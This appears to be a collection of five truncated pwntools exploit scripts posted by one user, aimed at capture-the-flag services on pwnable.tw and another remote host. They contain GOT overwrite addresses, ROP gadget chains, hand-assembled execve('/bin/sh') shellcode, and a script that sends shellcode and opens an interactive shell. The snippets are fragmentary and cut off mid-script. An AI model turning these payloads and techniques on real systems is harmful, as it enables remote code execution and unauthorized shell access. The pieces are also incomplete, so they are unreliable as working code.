hanhanW

from pwn import *

#chk_fail_got = 0x08049a44
puts_got = 0x8049a48
printf_got = 0x8049a38
main_addr = 0x080486D3
ret_addr = 0x08048780

r = remote('pwning.pwnable.tw', 56026)
print r.recvuntil(':')

hanhanW

from pwn import *

#elf = ELF('/usr/lib32/libc-2.22.so')
elf = ELF('./libc.so.6')
t = 0
while True:
    try:
        r = remote('pwning.pwnable.tw', 55981)
        print r.recvuntil(':')
        r.send('\x1c' + p32(0x080487ac)[::-1] + cyclic(71))

hanhanW

import time
from pwn import *

sh = '''
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f

    /* call execve('esp', 0, 0) */

hanhanW

#!/usr/bin/env python2
from pwn import *

r = remote('pwning.pwnable.tw', 56746)
int0x80 = p32(0x08049671)
pop3_ret = p32(0x08048913)
pop_eax_ret = p32(0x080bb436)
pop_ebx_ret = p32(0x080481c9)
pop_edx_ecx_ebx_ret = p32(0x0806f060)
call_read = p32(0x0806D56A)

hanhanW

from pwn import *

r = remote('10.second.ninja', 9090)
shcode = asm(shellcraft.sh())
r.send(shcode+shcode)
r.interactive()